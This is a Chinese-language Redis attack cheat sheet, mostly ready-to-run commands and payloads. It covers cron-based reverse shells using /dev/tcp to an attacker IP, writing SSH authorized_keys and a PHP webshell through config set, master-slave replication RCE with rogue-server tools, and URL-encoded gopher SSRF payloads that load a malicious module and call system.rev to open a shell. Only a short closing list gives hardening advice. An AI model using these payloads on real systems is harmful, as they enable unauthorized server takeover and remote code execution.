1.利用计划任务反弹shell
kali安装redis-cli
https://blog.csdn.net/Fly_hps/article/details/102690282s
kali监听9999端口
nc -lnvp 9999
远程访问不了把protected-mode改成no
redis-cli -h ip -p 6379
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.1.53/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
另一种代码形式
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"|redis-cli -h 192.168.118.129 -x set 1
redis-cli -h 192.168.118.129 config set dir /var/spool/cron/
redis-cli -h 192.168.118.129 config set dbfilename root
redis-cli -h 192.168.118.129 save
2.redis 密钥登录ssh
生成密钥公钥
ssh-keygen -t rsa
防止乱码 导出key
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
导入内容
cat key.txt | redis-cli -h 192.168.0.108 --pass pass123 -x set xxx
--pass是登录密码 无密码可不填
设置路径
config set dir /root/.ssh
设置文件名
config set dbfilename authorized_keys
保存
save
ssh 登录
ssh -i id_rsa root@192.168.0.108
3.redis 写webshell
192.168.1.109:6379> config set dir /var/www/html/
192.168.1.109:6379> config set dbfilename shell.php
192.168.1.109:6379> set x "<?php phpinfo();?>"
192.168.1.109:6379> save
访问结果
4.利用主从复制RCE
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
受害人 就是从机 so文件
攻击者就是主机 so文件
工具下载
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
python3 redis-rogue-server.py -rhost 192.168.1.109 -lhost 192.168.1. 53 -passwd password
反弹shell
监听端口 nc -lvnp 2333
成功反弹shell
5.ssrf redis 反弹shell
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.0.119%252021000%250d%250aquit
导入模块
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520./exp.so%250d%250aquit
关闭主从
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aslaveof%2520NO%2520ONE%250d%250aquit
设置数据库名
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit
反弹shell
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250asystem.rev%2520192.168.0.119%25206666%250d%250aquit
6.本地redis主从复制RCE 反弹shell
kali 命令
nc -lvnp 2333
python3 redis_rogue_server.py -v -path module.so
ubuntu上操作
config set dir /tmp
config set dbfilename exp.so
slaveof 192.168.0.119 21000
module load ./exp.so
slaveof NO ONE
system.rev 192.168.0.119 2333
7.redis安全设置
- 单独为redis设置一个普通账号 启动redis
- 设置本地 localhost 不允许外部访问
- 保护模式开启 protected-mode 开启 (默认开启)
- 把端口最好更改
- requirepass 设置redis密码
——————————————————————————————————————————————————————————————————————放弃也是需要勇气的